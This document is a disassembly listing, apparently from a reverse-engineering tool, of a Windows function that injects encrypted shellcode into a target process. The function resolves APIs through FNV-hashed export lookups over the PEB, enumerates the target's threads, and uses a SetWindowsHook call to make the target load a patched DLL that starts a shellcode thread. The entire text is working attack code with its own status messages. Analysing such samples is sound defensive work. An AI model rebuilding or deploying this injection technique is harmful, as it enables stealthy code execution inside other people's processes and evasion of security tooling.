Function at 0x1400017a0
Capabilities:
Access peb ldr_data
Encode data using xor
Enumerate threads
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x1040
call fcn.140018d00
sub rsp, rax
lea rcx, str.Running_PatchInject_Mode..._n
call fcn.140001008
mov rdx, qword [0x140028c20]
lea rcx, str.Encrypted_Shellcode_Path:__s_n
call fcn.140001008
mov rdx, qword [0x140028c38]
lea rcx, str.DLL_Path:__s_n
call fcn.140001008
mov edx, dword [0x140028c28]
lea rcx, str.Target_PID:__d_n
call fcn.140001008
call fcn.140001380
mov edx, dword [0x140028c28]
lea rcx, str.Injecting_into_process_with_PID:__d_n
call fcn.140001008
mov rax, qword gs:[0x60]
xor esi, esi
mov ebp, dword [0x140028c28]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x140001897
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140001897
mov edi, dword [r10 + 0x20]
dec r9d
mov r11d, 0x7a3fe94c
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x140001892
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140001873
cmp r11d, 0xf55b7084
je 0x14000189c
test r9d, r9d
jne 0x140001856
mov rax, qword [rax]
jmp 0x140001831
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + r9*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r8
lea ecx, [rdx + 4]
call rax
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400018f5
lea rcx, [0x140024060]
call fcn.140001008
lea rcx, str.Process_PID_not_found._n
lea r11, [rsp + 0x1040]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
jmp fcn.140001008
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14000194a
xor ebx, ebx
cmp dword [rsp + 0x2c], ebp
jne 0x14000192d
cmp rbx, 0x400
jge 0x140001941
mov eax, dword [rsp + 0x28]
inc esi
mov dword [rsp + rbx*4 + 0x40], eax
inc rbx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140001911
jmp 0x140001956
lea rcx, [0x140024078]
jmp 0x140001951
lea rcx, [0x140024090]
call fcn.140001008
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jle 0x1400018d1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x1400019dd
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1400019dd
mov ebx, dword [r10 + 0x20]
dec r9d
mov r11d, 0xc3bd69a7
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x1400019d8
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400019b9
cmp r11d, 0x76709463
je 0x1400019e2
test r9d, r9d
jne 0x14000199d
mov rax, qword [rax]
jmp 0x140001978
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + r9*2]
mov ecx, dword [r10 + 0x1c]
mov r9d, dword [rsp + 0x40]
add rcx, r8
mov eax, dword [rcx + rdx*4]
mov ecx, 3
mov rdx, qword [0x140028c30]
add rax, r8
mov r8, qword [0x140028c40]
call rax
mov rsi, rax
test rax, rax
jne 0x140001a29
lea rcx, str.Failed_to_SetWindowsHook._n
jmp 0x1400018d8
mov edx, dword [rsp + 0x40]
lea rcx, str.SetWindowsHook_Success_HookThreadID:_d_n
call fcn.140001008
mov rdi, qword [0x140028c48]
lea rcx, str.Wait_for_target_to_load_patched_dll._n
call fcn.140001008
xor ebx, ebx
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [rdi + 0x20], 0
jne 0x140001a77
inc rbx
cmp rbx, 0xc8
jb 0x140001a4e
lea rcx, str.200_seconds_passed_and_still_no_success_n
jmp 0x1400018d8
lea rcx, str.Success_The_target_has_loaded_the_patched_dll_and_the_shellcode_thread_has_started__n
call fcn.140001008
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140001af9
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x140001af9
mov edi, dword [r9 + 0x20]
dec r10d
mov r11d, 0xfcff0fda
lea rcx, [r8 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x140001af4
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140001ad5
cmp r11d, 0xee3db3a9
je 0x140001afe
test r10d, r10d
jne 0x140001ab9
mov rax, qword [rax]
jmp 0x140001a94
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
mov rcx, rsi
add rax, r8
call rax
lea rcx, str.UnhookWindowsHook._n
jmp 0x1400018d8